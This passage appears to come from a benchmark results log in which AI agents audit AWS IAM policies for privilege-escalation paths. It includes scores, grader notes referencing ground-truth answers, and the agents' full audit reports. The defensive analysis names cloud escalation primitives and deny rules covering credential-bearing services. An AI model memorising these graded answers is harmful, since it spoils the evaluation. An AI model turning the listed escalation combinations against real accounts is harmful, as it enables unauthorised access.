**Privileges of `legacy-fleet-instance-profile` not evaluated.** The role `arn:aws:iam::488213749302:role/legacy-fleet-instance-profile` is referenced in the now-dead PassRole Allow. Although the E1 path is neutralised and this role cannot be passed, if the Deny were ever removed, the severity of the resulting E1 would depend on this role's privileges. Those privileges are in a separate document and were not supplied.\n\n---\n\n## Summary\n\n| Finding | Severity | Status |\n|---|---|---|\n| E1: `iam:PassRole` + `ec2:RunInstances` | ~~High~~ | \u2705 Neutralised \u2014 blanket Deny on PassRole kills the combo |\n| W4: `ec2:RunInstances` on `Resource \"*\"` | **Medium** | \ud83d\udfe1 Real \u2014 scope with instance type and region conditions |\n\n**No critical or high findings.** The apparent E1 escalation is fully neutralised by the blanket Deny. The only real finding is a medium-severity over-broad launch grant that should be scoped to the build fleet's specific instance types and regions. The dead `PassFleetInstanceProfile` Allow statement should be removed as a hygiene matter to prevent future misreading.",
"agent_chars": 10347,
"agent_s": 59.7,
"elapsed_s": 68.1
},
{
"fixture": "01-orphaned-passrole-deny",
"condition": "treatment",
"trial": 1,
"score": 7,
"scores_by_item": [
1,
1,
1,
1,
1,
1,
1
],
"notes": [
"Correctly parses all three statements, resolves the union of Allows, and applies the Deny on iam:PassRole with Resource '*' to determine the effective permission set.",
"Correctly identifies no real escalation finding \u2014 the policy is clean \u2014 matching the ground truth of an empty findings list.",
"Does not assert a live privilege escalation; explicitly recognises the Deny-neutralised PassRole/RunInstances combo is not a real E1 finding.",
"Evaluates the cross-statement interaction between PassFleetInstanceProfile (Allow) and DenyAllPassRole (Deny) and correctly concludes the Deny on Resource '*' overrides the scoped Allow, neutralising the apparent combo.",
"Ranks the neutralised PassRole/RunInstances as clean (no escalation), and only surfaces a Medium W4 and an Informational dead-code note \u2014 no critical headline for a neutralised grant.",
"Names multiple items outside the audit boundary: other attached policies, permissions boundary, org SCPs, the trust policy, and the privileges of the target role.",
"Top fix correctly states no escalation fix is needed and recommends removing the inert PassRole Allow to reduce confusion, matching the ground-truth recommendation to optionally clean up the dead-code Allow and retired instance-profile reference."
],
"agent_output": "# IAM Privilege-Escalation Audit \u2014 `role/build-fleet-runner`\n\n**Principal:** `role/build-fleet-runner`\n**Input:** 1 permissions policy, 3 statements, no trust policy supplied, no permissions boundary supplied.\n\n---\n\n## Step 1 \u2014 Resolve the Effective Permission Set\n\nUnion the Allow statements, then apply Deny.\n\n| Action | Allow source | Deny source | Effective |\n|---|---|---|---|\n| `ec2:RunInstances` | `RunBuildFleet` | \u2014 | **Granted** |\n| `ec2:DescribeInstances` | `RunBuildFleet` | \u2014 | **Granted** |\n| `ec2:DescribeImages` | `RunBuildFleet` | \u2014 | **Granted** |\n| `iam:PassRole` on `arn:\u2026/legacy-fleet-instance-profile` | `PassFleetInstanceProfile` | `DenyAllPassRole` on `Resource \"*\"` | **Denied** |\n\nDeny evaluation: `DenyAllPassRole` carries `Resource \"*\"`, which matches every ARN, including the specific role ARN the Allow targets. Deny wins over Allow unconditionally. The Allow in `PassFleetInstanceProfile` is completely eclipsed. `iam:PassRole` is not in the effective permission set for any resource.\n\n---\n\n## Step 2 \u2014 Check Cross-Statement Escalation Combos (E1\u2013E6)\n\n### E1 \u2014 `iam:PassRole` + `ec2:RunInstances`\n\nThe structural shape of E1 is present across two statements: `ec2:RunInstances` is Allowed (`RunBuildFleet`), and `iam:PassRole` appears in an Allow (`PassFleetInstanceProfile`). A naive per-statement read would stop here and might flag this as a high-severity escalation (scoped PassRole) or even note the combination.\n\n**Applying the resolved set:** `iam:PassRole` is **not** in the effective permission set. The `DenyAllPassRole` statement on `Resource \"*\"` kills it completely, including the one ARN the Allow named. Without `iam:PassRole`, `ec2:RunInstances` cannot bind an IAM role to a launched instance \u2014 the PassRole half of the E1 combo is dead.\n\n**Verdict: CLEAN. E1 is neutralised.** The Deny is the neutraliser. This is the canonical fixture-01 pattern applied exactly.\n\nNo other E-series combos (E2\u2013E6) have any grounding in the effective permission set. No `iam:CreatePolicyVersion`, `iam:AttachRolePolicy`, `lambda:UpdateFunctionCode`, `iam:UpdateAssumeRolePolicy`, `iam:CreateAccessKey`, or equivalent is present.\n\n---\n\n## Step 3 \u2014 Classify Wildcard Grants (W1\u2013W5)\n\n### W4 \u2014 `ec2:RunInstances` (and Describe actions) on `Resource \"*\"`\n\n`ec2:RunInstances` is a mutating action that AWS supports resource-level scoping for (by AMI ARN, subnet ARN, instance type, etc.). Granting it on `Resource \"*\"` is broader than a typical workload needs, though on its own \u2014 without PassRole \u2014 it does not constitute an escalation path.\n\n**Severity: Medium (W4).**\n\nThe two Describe actions (`ec2:DescribeInstances`, `ec2:DescribeImages`) are read-only and list-like; EC2 Describe actions do not support resource-level restrictions in IAM (they always require `Resource \"*\"`), so there is nothing actionable to flag there.\n\nNo W1 (`Action '*'` on `Resource \"*\"`), W2 (service-level wildcard on a sensitive service), W3 (`Allow` + `NotAction`), or W5 (broad sensitive read) findings apply.\n\n---\n\n## Step 4 \u2014 Trust Policy Exposure (X1)\n\nNo trust policy was supplied. X1 cannot be evaluated. See Boundary section.\n\n---\n\n## Step 5 \u2014 Deceptive-Clean Confirmation\n\nThe policy is structured to look like a PassRole escalation and is not one. The `DenyAllPassRole` statement on `Resource \"*\"` is a blanket Deny that post-dates (in evaluation order, not positional order) the scoped Allow, and IAM Deny semantics do not respect Allow specificity \u2014 a Deny on `*` wins over an Allow on a named ARN. The PassRole capability is fully suppressed. The only live capability is launching and describing EC2 instances with no role attached.\n\nHowever, note a **policy-authoring defect**: the `PassFleetInstanceProfile` Allow statement is dead code. It grants a permission the `DenyAllPassRole` statement permanently revokes. This creates confusion for future reviewers and may suggest the intent was inverted (see Fix below).\n\n---\n\n## Findings (Ranked by Severity)\n\n### \ud83d\udfe1 MEDIUM \u2014 W4: `ec2:RunInstances` on `Resource \"*\"`\n\n**Grounded in:** Statement `RunBuildFleet`\n\n**What it is:** `ec2:RunInstances` is granted on `Resource \"*\"`, meaning this role can launch instances of any type, in any subnet, from any AMI, with no IAM-enforced constraints. While the missing PassRole prevents role-injection escalation, an attacker or misconfigured process could launch arbitrarily large or expensive instance types, launch into any VPC/subnet, or use any AMI (including public ones with vulnerable software).\n\n**Fix:** Scope `ec2:RunInstances` to the specific resources the build fleet actually uses. AWS supports resource-level conditions for `ec2:RunInstances` via condition keys:\n\n```json\n{\n \"Sid\": \"RunBuildFleet\",\n \"Effect\": \"Allow\",\n \"Action\": [\n \"ec2:RunInstances\",\n \"ec2:DescribeInstances\",\n \"ec2:DescribeImages\"\n ],\n \"Resource\": \"*\",\n \"Condition\": {\n \"StringEquals\": {\n \"ec2:InstanceType\": [\"t3.medium\", \"t3.large\"],\n \"ec2:Region\": \"us-east-1\"\n },\n \"ArnLike\": {\n \"ec2:Subnet\": \"arn:aws:ec2:us-east-1:488213749302:subnet/subnet-XXXXXX\"\n }\n }\n}\n```\n\nAlternatively, scope the `Resource` to specific subnet, AMI, and security-group ARNs using the [RunInstances resource-level permission model](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/iam-policies-for-amazon-ec2.html).\n\n---\n\n### \u2139\ufe0f INFORMATIONAL \u2014 Dead-code Allow on `iam:PassRole`\n\n**Grounded in:** Statements `PassFleetInstanceProfile` (Allow) and `DenyAllPassRole` (Deny)\n\n**What it is:** Not a security finding \u2014 the Deny correctly neutralises the Allow. However, the Allow statement is permanently inert: `DenyAllPassRole` on `Resource \"*\"` will always override it. Future engineers reading the policy may conclude PassRole is available on the fleet profile ARN (it is not), or may remove the Deny thinking it is a mistake (which would expose E1). The dead Allow is a maintenance hazard.\n\n**Fix:** Decide the actual intent and make it unambiguous. Two options:\n\n**Option A \u2014 PassRole is intentionally denied for all resources** (the Deny is the source of truth): Remove the `PassFleetInstanceProfile` Allow entirely. Keep only the Deny, or drop both statements if PassRole should simply be absent.\n\n```json\n{\n \"Sid\": \"DenyAllPassRole\",\n \"Effect\": \"Deny\",\n \"Action\": \"iam:PassRole\",\n \"Resource\": \"*\"\n}\n```\n\n**Option B \u2014 PassRole on exactly the fleet profile is intentionally allowed** (the Allow is the source of truth): Remove `DenyAllPassRole` and tighten the Allow to include a `iam:PassedToService` condition so the role can only be passed to EC2, not to any other service:\n\n```json\n{\n \"Sid\": \"PassFleetInstanceProfile\",\n \"Effect\": \"Allow\",\n \"Action\": \"iam:PassRole\",\n \"Resource\": \"arn:aws:iam::488213749302:role/legacy-fleet-instance-profile\",\n \"Condition\": {\n \"StringEquals\": {\n \"iam:PassedToService\": \"ec2.amazonaws.com\"\n }\n }\n}\n```\n\n\u26a0\ufe0f If Option B is chosen, re-evaluate E1: the PassRole half of the combo becomes live again. You must then confirm that `legacy-fleet-instance-profile` is not more privileged than `build-fleet-runner` itself. That determination is behind the boundary (see below).\n\n---\n\n## No Real Escalation\n\nThe apparent E1 escalation (`iam:PassRole` + `ec2:RunInstances`) is **neutralised**. The neutraliser is the explicit Deny on `iam:PassRole` with `Resource \"*\"` in statement `DenyAllPassRole`, which overrides the scoped Allow in `PassFleetInstanceProfile` per IAM evaluation logic. The effective permission set contains no PassRole capability. No other escalation path exists in the resolved permissions.\n\n---\n\n## Boundary \u2014 What This Audit Cannot Determine\n\nThe following questions are not answerable from this policy document alone. They are not gaps in the audit; they are the joins that require additional inputs.\n\n1. **Other attached policies.** Only one policy document was supplied. If `role/build-fleet-runner` has additional managed or inline policies attached, those grants union into the effective set and could introduce escalation primitives (e.g., a separate policy granting `iam:PassRole` without a counterpart Deny, or any E2\u2013E6 action). This audit reflects only what was provided.\n\n2. **Permissions boundary.** No permissions boundary was supplied. A permissions boundary could further restrict `ec2:RunInstances` (narrowing the W4 finding) or confirm the Deny is the intended cap. Without it, the effective cap is only what the policy itself expresses.\n\n3. **Org SCPs.** Service Control Policies at the AWS Organizations level may independently Deny `ec2:RunInstances` or other actions regardless of what this policy Allows. SCPs are not visible from the account-level policy document.\n\n4. **Privileges of `legacy-fleet-instance-profile`.** If Option B above is chosen (PassRole Allow restored), the severity of the resulting E1 finding depends entirely on what permissions that role holds. If it is genuinely read-only, the escalation gain is zero. If it holds admin-equivalent permissions, the finding is critical. That policy lives in a separate document and was not supplied.\n\n5. **Trust policy.** The trust policy (`AssumeRolePolicyDocument`) was not supplied. It determines who can assume `role/build-fleet-runner` in the first place. An open trust policy (X1) could make every finding here reachable by any principal in any account.",
"agent_chars": 9328,
"agent_s": 54.1,
"elapsed_s": 62.2
},
{
"fixture": "01-orphaned-passrole-deny",
"condition": "treatment",
"trial": 2,
"score": 7,
"scores_by_item": [
1,
1,
1,
1,
1,
1,
1
],
"notes": [
"Correctly parses all three statements including the Deny on iam:PassRole with Resource '*' and the scoped Allow on the specific role ARN.",
"Correctly identifies the fixture as clean (no live escalation findings), matching the ground truth of an empty findings list.",
"Does not assert any live privilege escalation; explicitly labels E1 as neutralised and does not treat the Deny-overridden PassRole as a real finding.",
"Properly performs cross-statement reasoning: evaluates the union of Allow and Deny statements and correctly concludes the Deny on Resource '*' kills the PassRole Allow entirely.",
"Does not headline any neutralised grant as critical; the W4 medium finding on ec2:RunInstances is the only severity assigned, and the E1 path is labelled 'neutralised/n/a'.",
"Names multiple boundary items including other attached policies, permissions boundary, org SCPs, trust policy, and the target role's privileges \u2014 all matching ground-truth joins.",
"Top fix correctly recommends removing the dead-letter PassFleetInstanceProfile Allow to reduce confusion, matching the ground-truth suggestion to remove the now-inert PassRole Allow and retired instance-profile reference."
],
"agent_output": "# IAM Privilege-Escalation Audit \u2014 `role/build-fleet-runner`\n\n**Principal:** `role/build-fleet-runner` \u00b7 1 attached policy \u00b7 3 statements\n\n---\n\n## Step 1 \u2014 Resolve the Effective Permission Set\n\nUnion all Allow statements, then apply Deny:\n\n| Action | Allow source | Deny source | Effective |\n|---|---|---|---|\n| `ec2:RunInstances` | `RunBuildFleet` (Resource `*`) | none | **GRANTED** |\n| `ec2:DescribeInstances` | `RunBuildFleet` (Resource `*`) | none | **GRANTED** |\n| `ec2:DescribeImages` | `RunBuildFleet` (Resource `*`) | none | **GRANTED** |\n| `iam:PassRole` on `arn:aws:iam::488213749302:role/legacy-fleet-instance-profile` | `PassFleetInstanceProfile` | `DenyAllPassRole` (Resource `*`) | **DENIED** |\n\nThe `DenyAllPassRole` statement targets `Resource \"*\"`, which by glob covers every IAM role ARN including the one the Allow statement named. Deny is unconditional and wins over Allow always. `iam:PassRole` is **dead in the effective permission set** regardless of resource scope.\n\n---\n\n## Step 2 \u2014 Cross-Statement Escalation Combos (E1\u2013E6)\n\n### E1 \u2014 `iam:PassRole` + `ec2:RunInstances` \u2192 **CLEAN (neutralised)**\n\nThe surface shape of E1 is present:\n- `ec2:RunInstances` on `Resource \"*\"` \u2014 \u2713\n- `iam:PassRole` Allow on a specific role ARN \u2014 \u2713 (in statement text)\n\nHowever, the explicit `Deny` on `iam:PassRole` with `Resource \"*\"` extinguishes the Allow entirely. The principal **cannot pass any role** \u2014 not `legacy-fleet-instance-profile`, not any other. Without a working PassRole, `ec2:RunInstances` cannot bind an instance profile at launch time. The E1 combo has one dead leg and cannot fire.\n\n**Verdict:** No E1 finding. The Deny is the neutraliser; this is the fixture-01 pattern (`01-orphaned-passrole-deny`) exactly.\n\n### E2\u2013E6 \u2014 All other escalation combos\n\nNone of the required primitives are present in the effective set:\n- No `iam:CreatePolicyVersion` / `SetDefaultPolicyVersion` \u2192 E2 absent\n- No `lambda:UpdateFunctionCode` \u2192 E3 absent\n- No `iam:AttachRolePolicy` / `AttachUserPolicy` / `PutRolePolicy` \u2192 E4 absent\n- No `iam:UpdateAssumeRolePolicy` / `sts:AssumeRole` \u2192 E5 absent\n- No `iam:CreateAccessKey` / `CreateLoginProfile` / `AddUserToGroup` \u2192 E6 absent\n\n---\n\n## Step 3 \u2014 Wildcard Grant Classification (W1\u2013W5)\n\n### `RunBuildFleet` \u2014 `ec2:RunInstances`, `ec2:DescribeInstances`, `ec2:DescribeImages` on `Resource \"*\"`\n\n- **W1:** Not triggered. `Action` is an explicit list, not `*`.\n- **W2:** Not triggered. No service-level wildcard (`ec2:*`).\n- **W3:** Not triggered. No `NotAction`.\n- **W4 (medium) \u2014 mutating action on `Resource \"*\"` where scoping is possible.**\n `ec2:RunInstances` supports resource-level conditions (`ec2:InstanceType`, AMI ARNs, subnet ARNs, security group ARNs). Granting it on `Resource \"*\"` is broader than a build fleet workload requires.\n- **W5:** Not triggered for the Describe actions at medium or higher. `ec2:DescribeInstances` and `ec2:DescribeImages` are read-only and do not support resource-level scoping in IAM (EC2 Describe actions are account-global), so `Resource \"*\"` is the required form \u2014 no finding.\n\n---\n\n## Step 4 \u2014 Trust-Policy Exposure (X1)\n\nNo trust policy was supplied. X1 cannot be evaluated. See Boundary section.\n\n---\n\n## Step 5 \u2014 Deceptive-Clean Confirmation\n\nThe `DenyAllPassRole` statement is the neutraliser. It is a blanket `Deny` on `Resource \"*\"`, which under the Deny-wins model kills `iam:PassRole` for every resource the principal could ever name. The Allow in `PassFleetInstanceProfile` is entirely overridden. This is not a close call and does not depend on any external context.\n\nThe policy as written has a **latent misconfiguration worth flagging even on a clean verdict**: the Allow in `PassFleetInstanceProfile` is dead letter. Any future operator who removes `DenyAllPassRole` (e.g., to \"fix a broken deploy\") immediately resurrects a live scoped PassRole + RunInstances combo. That is a configuration where the safety depends entirely on a Deny that has no visible relationship to the Allow it is suppressing.\n\n---\n\n## Findings\n\n### Finding 1 \u2014 CLEAN: E1 neutralised by explicit Deny\n\n| Field | Value |\n|---|---|\n| **Rule** | E1 |\n| **Severity** | n/a \u2014 neutralised |\n| **Statements** | `PassFleetInstanceProfile` (Allow), `DenyAllPassRole` (Deny) |\n| **Escalation path** | `iam:PassRole` Allow + `ec2:RunInstances` Allow would constitute a critical E1 path. The `DenyAllPassRole` statement (`Effect: Deny`, `Action: iam:PassRole`, `Resource: *`) kills PassRole in the effective set. The combo cannot fire. |\n| **Fix** | Remove the dead-letter `PassFleetInstanceProfile` Allow entirely. If the instance profile attachment is genuinely needed, remove `DenyAllPassRole` and replace it with a scoped, intentional PassRole Allow \u2014 but then re-evaluate E1 severity (high, scoped). Do not leave a live Allow overridden by a blanket Deny as the safety mechanism; the relationship is invisible to future reviewers. |\n\n---\n\n### Finding 2 \u2014 MEDIUM (W4): `ec2:RunInstances` on `Resource \"*\"`\n\n| Field | Value |\n|---|---|\n| **Rule** | W4 |\n| **Severity** | Medium |\n| **Statement** | `RunBuildFleet` |\n| **Issue** | `ec2:RunInstances` supports resource-level conditions in IAM. Granting it on `Resource \"*\"` allows launching any instance type, into any VPC/subnet, with any AMI, in the account. A build fleet has a known instance type, known AMIs, and a known subnet. |\n| **Fix** | Scope with IAM conditions: `ec2:InstanceType` to the fleet's allowed types, `ec2:Region` if applicable, and consider ARN-scoping the launch template or subnet. At minimum, add a condition key to constrain runaway instance launches. |\n\n---\n\n## No Other Findings\n\nAll other escalation combos (E2\u2013E6) and wildcard patterns (W1\u2013W3, W5) are absent from the effective permission set. The Describe actions are correctly written with `Resource \"*\"` (EC2 Describe actions do not support resource-level restrictions in IAM and cannot be scoped further).\n\n---\n\n## Boundary \u2014 What This Audit Cannot Determine\n\nThe following joins were not resolvable from the supplied document alone:\n\n1. **Other attached policies.** Only one policy document was provided. If `role/build-fleet-runner` has additional managed or inline policies attached, the effective permission set is the union of all of them. A permission granted elsewhere (e.g., `iam:PassRole` without a corresponding Deny, or `iam:AttachRolePolicy`) would not appear here and could introduce real escalation paths.\n\n2. **Permissions boundary.** No permissions boundary was supplied. A boundary can further cap what the Allows here actually grant (including `ec2:RunInstances`), but its absence does not make the policy safer \u2014 it means there is no external cap beyond what the policy itself states.\n\n3. **Org SCPs.** Service Control Policies are invisible from the account level. An SCP could independently Deny `ec2:RunInstances` or further restrict IAM actions. Conversely, the absence of an SCP means the policy's Allows are the full ceiling.\n\n4. **Trust policy.** Not supplied. X1 (wildcard principal with no narrowing condition) cannot be evaluated. If the trust policy is overly broad, the role's modest permissions may still be reachable by unintended principals.\n\n5. **Privileges of `legacy-fleet-instance-profile`.** The PassRole target's actual permissions are in a separate policy document not audited here. If the Deny were ever removed, the severity of the E1 path would depend entirely on what that role can do. Confirm it is genuinely scoped to build-fleet operations and not a stepping-stone to broader access.",
"agent_chars": 7544,
"agent_s": 55.0,
"elapsed_s": 63.5
},
{
"fixture": "02-action-star-blanket-deny",
"condition": "treatment",
"trial": 0,
"score": 7,
"scores_by_item": [
1,
1,
1,
1,
1,
1,
1
],
"notes": [
"Correctly parses Action '*' pinned to S3 bucket ARNs and recognises it cannot reach IAM/STS/etc., plus correctly reads the Deny statement covering all escalation namespaces.",
"Correctly reports no findings, matching the ground truth that this is a deceptive-clean policy with no real escalation path.",
"No false positives raised; the agent explicitly explains why the apparent Action '*' is not a live escalation and does not flag the Deny-neutralised or resource-scoped grants as material defects.",
"Evaluates both statements together, recognising that the resource pin and the Deny combine to neutralise every E1\u2013E6 escalation combo; does not clear statements in isolation.",
"No real escalation is headlined as critical; the single observation is correctly labelled a design recommendation, not a vulnerability.",
"Names multiple audit boundaries: trust policy not supplied, permissions boundary not supplied, other attached policies not supplied, and org SCPs not supplied.",
"Top recommendation matches ground truth: replace Action '*' with explicit S3 action list for clarity, while correctly stating no security fix is required."
],
"agent_output": "# IAM Privilege-Escalation Audit \u2014 `role/sandbox-experimenter`\n\n**Principal:** `role/sandbox-experimenter`\n**Input:** 1 permissions policy, 2 statements. No trust policy supplied. No permissions boundary supplied.\n\n---\n\n## Step 1 \u2014 Resolve the Effective Permission Set\n\n### Allow side\n\n`FullControlOfSandboxBucketOnly` grants `Action: \"*\"` \u2014 every AWS action \u2014 but the resource is pinned to exactly two ARNs:\n\n```\narn:aws:s3:::team-sandbox-scratch\narn:aws:s3:::team-sandbox-scratch/*\n```\n\nThis is not a wildcard resource grant. `Action \"*\"` here resolves to \"every S3 action on this one bucket and its objects.\" It cannot exercise IAM, STS, KMS, EC2, or any other service, because those services' APIs do not accept an S3 bucket ARN as their resource target \u2014 their requests never match this statement.\n\n### Deny side\n\n`DenyEscalationServicesEverywhere` is a hard Deny on the following service namespaces, on `Resource: \"*\"`:\n\n| Denied namespace | Escalation primitives covered |\n|---|---|\n| `iam:*` | PassRole, CreatePolicyVersion, AttachRolePolicy, UpdateAssumeRolePolicy, CreateAccessKey \u2014 all of E1\u2013E6 |\n| `sts:*` | AssumeRole, AssumeRoleWithWebIdentity \u2014 E5's assume leg and E6 |\n| `organizations:*` | SCP manipulation |\n| `kms:*` | Decrypt, CreateKey, CreateGrant |\n| `lambda:*` | UpdateFunctionCode (E3), CreateFunction (E1 launch leg) |\n| `ec2:RunInstances` | E1 launch leg |\n| `ecs:RunTask` | E1 launch leg |\n| `ssm:*` | Parameter Store credential exfiltration, SendCommand lateral movement |\n| `secretsmanager:*` | GetSecretValue data exfiltration |\n\nBecause `Effect: Deny` beats `Effect: Allow` unconditionally in IAM evaluation, any action in these namespaces is dead even if `Action \"*\"` would otherwise name it. Deny wins regardless of how the Allow is written.\n\n### Resolved effective permission set\n\nThe intersection of \"everything on the sandbox bucket\" minus \"every escalation service\" yields:\n\n**Granted:** S3 actions (`s3:GetObject`, `s3:PutObject`, `s3:DeleteObject`, `s3:ListBucket`, etc.) scoped to `team-sandbox-scratch` only.\n\n**Not granted (Deny overrides):** every IAM, STS, KMS, Lambda, EC2 launch, ECS launch, SSM, and Secrets Manager action, on any resource.\n\n**Not reachable:** any other service (CloudFormation, SageMaker, Glue, Athena, etc.) \u2014 not because they are denied, but because `Action \"*\"` is pinned to S3 bucket ARNs, which those services' APIs never accept as a resource. Their calls would not match the Allow statement even before the Deny is evaluated.\n\n---\n\n## Step 2 \u2014 Cross-Statement Escalation Combos (E1\u2013E6)\n\n| Code | Combo | Verdict |\n|---|---|---|\n| E1 | `iam:PassRole` + compute launch | **CLEAN** \u2014 `iam:PassRole` is killed by `Deny iam:*`. The Allow statement cannot surface it. No launch action (`ec2:RunInstances`, `ecs:RunTask`, `lambda:CreateFunction`) reaches the effective set either; the first two are explicitly denied, and Lambda is denied wholesale. |\n| E2 | `iam:CreatePolicyVersion` / `SetDefaultPolicyVersion` | **CLEAN** \u2014 covered by `Deny iam:*`. |\n| E3 | `lambda:UpdateFunctionCode` | **CLEAN** \u2014 covered by `Deny lambda:*`. |\n| E4 | `iam:AttachRolePolicy` / `PutRolePolicy` / `AttachUserPolicy` | **CLEAN** \u2014 covered by `Deny iam:*`. |\n| E5 | `iam:UpdateAssumeRolePolicy` + `sts:AssumeRole` | **CLEAN** \u2014 both legs denied (`iam:*`, `sts:*`). |\n| E6 | `iam:CreateAccessKey` / `CreateLoginProfile` / `AddUserToGroup` | **CLEAN** \u2014 covered by `Deny iam:*`. |\n\nNo cross-statement escalation path survives the Deny layer.\n\n---\n\n## Step 3 \u2014 Wildcard Grant Classification (W1\u2013W5)\n\n### W1 \u2014 `Action \"*\"` on `Resource \"*\"`: NOT PRESENT\n\nThe Allow statement uses `Action: \"*\"` but binds it to two specific S3 ARNs, never to `Resource: \"*\"`. W1 requires both `Action \"*\"` and `Resource \"*\"` simultaneously. This statement does not meet that test. Not flagged.\n\n### W3 \u2014 `Allow` + `NotAction`: NOT PRESENT\n\nNo `NotAction` shape anywhere in the policy. Not applicable.\n\n### W2 \u2014 Service-level wildcard on a sensitive service: NOT PRESENT IN EFFECTIVE SET\n\nThe Allow statement is `Action \"*\"` on S3 ARNs only. The sensitive services (iam, sts, kms, lambda, secretsmanager, ssm) are all hard-denied. There is no effective service-level wildcard on any sensitive service.\n\n### W4 \u2014 Mutating actions on `Resource \"*\"`: NOT PRESENT IN EFFECTIVE SET\n\nEvery mutating action that could be used against a wildcard resource (IAM writes, KMS writes, SSM writes, Secrets Manager writes) is denied. The only mutations in the effective set are S3 mutations on one named bucket \u2014 which is the intended, correctly-scoped grant.\n\n### W5 \u2014 Broad read on `Resource \"*\"`: REQUIRES NOTE\n\n`kms:Decrypt`, `secretsmanager:GetSecretValue`, `ssm:GetParameter` are all denied. The only read exposure is S3 on the sandbox bucket. That is intentional and scoped. No W5 finding.\n\n---\n\n## Step 4 \u2014 Trust Policy Exposure (X1)\n\nNo trust policy was supplied. **X1 cannot be evaluated.** See the Boundary section below.\n\n---\n\n## Step 5 \u2014 Deceptive-Clean Verdict\n\nThis policy is the textbook deceptive-clean case the methodology is designed to catch accurately:\n\n- **The apparent escalation:** `Action \"*\"` reads as full administrator at a glance.\n- **Why it cannot fire:** The resource pin (`arn:aws:s3:::team-sandbox-scratch` and its objects) means the Allow never applies to IAM, STS, KMS, Lambda, EC2, or any other service API \u2014 those APIs do not accept S3 bucket ARNs as their resource target, so no API call to them matches the statement. Independently and redundantly, the `DenyEscalationServicesEverywhere` statement imposes a hard Deny on every dangerous namespace on `Resource \"*\"`, which is a belt-and-suspenders kill: even if the resource scoping were somehow misread, the Deny still wins.\n- **Two independent neutralisers are in place simultaneously.** The policy would be neutralised if either one were present alone. Both are present.\n\n---\n\n## Findings\n\n**No findings.** There is no real escalation path, and no over-broad effective grant. Every apparent escalation is neutralised by the combination of S3-ARN resource scoping on the Allow and the hard Deny across all escalation-bearing service namespaces.\n\n---\n\n## One Observation Worth Noting (Not a Finding)\n\nThe defence relies on two independent mechanisms working together, and one of them \u2014 the resource pin \u2014 is doing more work than it might appear:\n\n**The `DenyEscalationServicesEverywhere` list is not exhaustive as written.** It covers the most obvious escalation services, but several other service namespaces that can expose credentials or launch role-bearing compute are absent from the Deny: for example `sagemaker:*`, `glue:*`, `cloudformation:*`, `codebuild:*`, `states:*` (Step Functions), `batch:*`. If the resource pin on the Allow side were ever widened to include `Resource \"*\"` (by accident or a future edit), those services would become reachable with a full action wildcard and could re-open E1 paths.\n\n**The resource pin is currently the primary guard; the Deny list is the secondary.** This is the inverse of what a defence-in-depth posture prefers. The safer long-term shape is to convert the Allow to an explicit S3 action list (`s3:GetObject`, `s3:PutObject`, `s3:DeleteObject`, `s3:ListBucket`, `s3:ListBucketMultipartUploads`, `s3:AbortMultipartUpload`, `s3:GetBucketLocation` \u2014 whatever the workload genuinely needs) and drop the `Action \"*\"` entirely. That makes the policy's intent legible in the Allow statement itself, eliminates the cognitive load of auditing the Deny list for completeness, and is robust to any future resource-scope widening.\n\nThis is a design recommendation, not a vulnerability.\n\n---\n\n## Boundary \u2014 What This Audit Cannot Determine\n\n| Gap | Why it matters |\n|---|---|\n| **Trust policy not supplied** | Cannot evaluate X1. If the role's trust policy allows a wildcard principal with no narrowing condition, any AWS principal in any account could assume this role and exercise the S3 grants. |\n| **Permissions boundary not supplied** | A permissions boundary may further constrain the effective set (fine) or may be absent (the Deny list then carries more weight than it would with a boundary backstop). |\n| **Other attached policies not supplied** | If additional managed or inline policies are attached to this role, their Allows union into the effective set. A grant of `iam:PassRole` or a compute-launch action in another attached policy would not be neutralised by this policy's Deny \u2014 Deny in one policy does *not* override Allow in another unless it is an SCP or permissions boundary. **This is the most important gap.** If there are other attached policies, they must be audited as part of the same union. |\n| **Org SCPs not supplied** | An SCP could further restrict or (in a permissive SCP posture) leave the current Deny list as the only control on an action. Cannot be assessed from account-level documents alone. |\n| **Privileges of any role this principal might assume** | Not relevant here (no `sts:AssumeRole` is effective), but noted for completeness. |\n\n---\n\n## Summary\n\n**`role/sandbox-experimenter` has no real escalation path and no over-broad effective grant.** The `Action \"*\"` in `FullControlOfSandboxBucketOnly` is neutralised by S3-ARN resource scoping (the primary control) and independently by the hard Deny across every escalation-bearing service namespace (the secondary control). The effective permission set is S3 read/write/delete on one named bucket, nothing more. The recommended improvement is to replace `Action \"*\"` with an explicit S3 action list so the policy's intent is self-evident and the defence does not depend on Deny-list completeness. Supply the trust policy, permissions boundary, and full list of attached policies for a complete principal-level verdict.",
"agent_chars": 9750,
"agent_s": 55.9,
"elapsed_s": 69.2
},
{
"fixture": "02-action-star-blanket-deny",
"condition": "treatment",
"trial": 1,
"score": 7,
"scores_by_item": [
1,
1,
1,
1,
1,
1,
1
],
"notes": [
"Correctly parses both statements, recognises Action '*' scoped to S3 ARNs and the blanket Deny, and traces what the wildcard actually expands to in context.",
"Correctly reports no findings (clean verdict), matching the ground truth that no real escalation exists.",
"Does not assert any live privilege escalation; explicitly explains why Action '*' is not W1 and why the Deny neutralises all E1-E6 combos.",
"Evaluates the union of both statements, applies Deny-over-Allow correctly, and shows the intersection leaves only S3 actions on the two named ARNs.",
"Headlines the policy as clean; the informational S3 observation is clearly marked non-critical and not elevated to an escalation finding.",
"Names multiple items it cannot determine: other attached policies, permissions boundary, org SCPs, trust policy, and bucket policy \u2014 all matching ground-truth boundary categories.",
"Top fix correctly states no security fix is required and optionally suggests replacing Action '*' with concrete S3 actions for clarity, matching the ground-truth recommendation."
],
"agent_output": "# IAM Privilege-Escalation Audit \u2014 `role/sandbox-experimenter`\n\n**Principal:** `role/sandbox-experimenter`\n**Input:** 1 permissions policy, 2 statements. No trust policy supplied. No permissions boundary supplied.\n\n---\n\n## Step 1 \u2014 Resolve the Effective Permission Set\n\nTwo statements. Apply Deny-over-Allow:\n\n**Statement 1 \u2014 `FullControlOfSandboxBucketOnly`**\n`Effect: Allow`, `Action: *`, `Resource: [arn:aws:s3:::team-sandbox-scratch, arn:aws:s3:::team-sandbox-scratch/*]`\n\nThis is `Action '*'` scoped to two specific ARNs. At face value it reads as \"full admin,\" but the resource scope is the operative constraint. The only actions this Allow can actually exercise are those that accept an S3 bucket or S3 object ARN as their resource operand. IAM evaluates permissions by matching both the action and the resource; an action that does not operate on an S3 ARN will never be triggered via this statement \u2014 and even if evaluation reached it, the Deny in Statement 2 would intercept every sensitive service before the question arises.\n\n**Statement 2 \u2014 `DenyEscalationServicesEverywhere`**\n`Effect: Deny`, `Resource: *`, covering: `iam:*`, 